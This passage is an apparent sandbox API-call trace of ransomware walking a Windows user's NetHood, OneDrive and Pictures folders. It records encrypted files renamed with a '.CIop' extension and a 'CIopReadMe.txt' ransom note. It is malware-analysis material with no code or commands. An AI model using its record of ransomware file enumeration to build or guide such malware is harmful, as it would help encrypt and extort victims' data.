lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood" [0158.963] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\" [0158.963] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\", lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0158.963] SetErrorMode (uMode=0x1) returned 0x1 [0158.963] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0158.963] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" [0158.963] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\" [0158.963] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*" [0158.963] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0158.963] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0158.963] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0158.963] lstrlenW (lpString=".CIop") returned 5 [0158.963] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.963] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.963] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.963] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw" [0158.963] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*" [0158.963] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0158.963] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0158.963] lstrcpyW (in: lpString1=0x2dc7014, lpString2="ZZaKb_aT-x EADqBsw" | out: lpString1="ZZaKb_aT-x EADqBsw") returned="ZZaKb_aT-x EADqBsw" [0158.963] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.964] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.964] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.964] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.964] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.964] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.964] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.964] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.964] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.964] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.964] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.964] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.964] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.964] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.964] lstrcmpW (lpString1="OneDrive", lpString2="..") returned 1 [0158.964] lstrcmpW (lpString1="OneDrive", lpString2=".") returned 1 [0158.964] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.964] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.964] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0158.964] SetErrorMode (uMode=0x1) returned 0x1 [0158.964] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0158.964] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" [0158.964] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\" [0158.964] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*" [0158.964] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0158.964] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="OneDrive" [0158.964] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="OneDrive" | out: lpString1="OneDrive") returned="OneDrive" [0158.964] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.964] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.964] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0158.964] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0158.964] lstrlenW (lpString="desktop.ini") returned 11 [0158.964] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.964] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.964] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.964] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive" [0158.964] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*" [0158.964] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\OneDrive\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.965] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\OneDrive") returned="OneDrive" [0158.965] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="OneDrive" | out: lpString1="OneDrive") returned="OneDrive" [0158.965] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.965] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.965] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.965] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.965] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0158.965] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0158.965] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0158.965] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0158.965] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0158.965] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\CIiHmnxMn6Ps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps") returned="C:\\Users\\CIiHmnxMn6Ps" [0158.965] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\") returned="C:\\Users\\CIiHmnxMn6Ps\\" [0158.965] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0158.965] SetErrorMode (uMode=0x1) returned 0x1 [0158.965] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0158.965] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0158.965] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0158.965] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*" [0158.965] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0158.965] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="Pictures" [0158.965] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0158.965] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.965] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.965] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.965] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.965] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.965] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.965] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.965] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.965] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.965] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0158.966] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0158.966] lstrlenW (lpString="desktop.ini") returned 11 [0158.966] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.966] lstrcmpW (lpString1="MgyGAvvq5w6fl7AR1Hfa.bmp.CIop", lpString2="..") returned 1 [0158.966] lstrcmpW (lpString1="MgyGAvvq5w6fl7AR1Hfa.bmp.CIop", lpString2=".") returned 1 [0158.966] lstrlenW (lpString=".CIop") returned 5 [0158.966] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.966] lstrcmpW (lpString1="qp-3yc7D3FrGiW.jpg.CIop", lpString2="..") returned 1 [0158.966] lstrcmpW (lpString1="qp-3yc7D3FrGiW.jpg.CIop", lpString2=".") returned 1 [0158.966] lstrlenW (lpString=".CIop") returned 5 [0158.966] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.966] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.966] lstrcmpW (lpString1="vxT7Wz-UZ XFfNDp.png.CIop", lpString2="..") returned 1 [0158.966] lstrcmpW (lpString1="vxT7Wz-UZ XFfNDp.png.CIop", lpString2=".") returned 1 [0158.966] lstrlenW (lpString=".CIop") returned 5 [0158.966] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0158.966] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.966] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.966] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0158.966] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*" [0158.966] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0158.966] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="Pictures" [0158.966] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0158.966] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.966] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.966] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.966] lstrcmpW (lpString1="7B iYIRm", lpString2="..") returned 1 [0158.966] lstrcmpW (lpString1="7B iYIRm", lpString2=".") returned 1 [0158.966] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures" [0158.966] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" [0158.966] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0158.966] SetErrorMode (uMode=0x1) returned 0x1 [0158.966] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0158.966] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0158.966] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0158.966] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*" [0158.967] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.967] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="7B iYIRm" [0158.967] lstrcpyW (in: lpString1=0x2dc7014, lpString2="7B iYIRm" | out: lpString1="7B iYIRm") returned="7B iYIRm" [0158.967] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.967] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.967] lstrcmpW (lpString1="4LAv.png.CIop", lpString2="..") returned 1 [0158.967] lstrcmpW (lpString1="4LAv.png.CIop", lpString2=".") returned 1 [0158.967] lstrlenW (lpString=".CIop") returned 5 [0158.967] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.967] lstrcmpW (lpString1="aClNMcka4 SH9Md3Hwo.png.CIop", lpString2="..") returned 1 [0158.967] lstrcmpW (lpString1="aClNMcka4 SH9Md3Hwo.png.CIop", lpString2=".") returned 1 [0158.967] lstrlenW (lpString=".CIop") returned 5 [0158.967] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.967] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.967] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.967] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.967] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.967] lstrcmpW (lpString1="Qm paxELf.bmp.CIop", lpString2="..") returned 1 [0158.967] lstrcmpW (lpString1="Qm paxELf.bmp.CIop", lpString2=".") returned 1 [0158.967] lstrlenW (lpString=".CIop") returned 5 [0158.967] lstrlenW (lpString=".CIop") returned 5 [0158.968] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0158.968] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*" [0158.968] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.968] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="7B iYIRm" [0158.968] lstrcpyW (in: lpString1=0x2dc7014, lpString2="7B iYIRm" | out: lpString1="7B iYIRm") returned="7B iYIRm" [0158.968] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm" [0158.968] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\" [0158.968] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\", lpString2="QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0158.968] SetErrorMode (uMode=0x1) returned 0x1 [0158.968] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0158.969] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0158.969] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0158.969] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*" [0158.969] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e2b8 [0158.969] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0158.969] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="QVr-mzOnFHsqrr" | out: lpString1="QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0158.969] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.969] lstrlenW (lpString=".CIop") returned 5 [0158.969] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0158.969] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*" [0158.969] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e0b8 [0158.969] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0158.969] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="QVr-mzOnFHsqrr" | out: lpString1="QVr-mzOnFHsqrr") returned="QVr-mzOnFHsqrr" [0158.969] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr" [0158.969] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\" [0158.969] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\", lpString2="-yOADLMtpkF" | out: 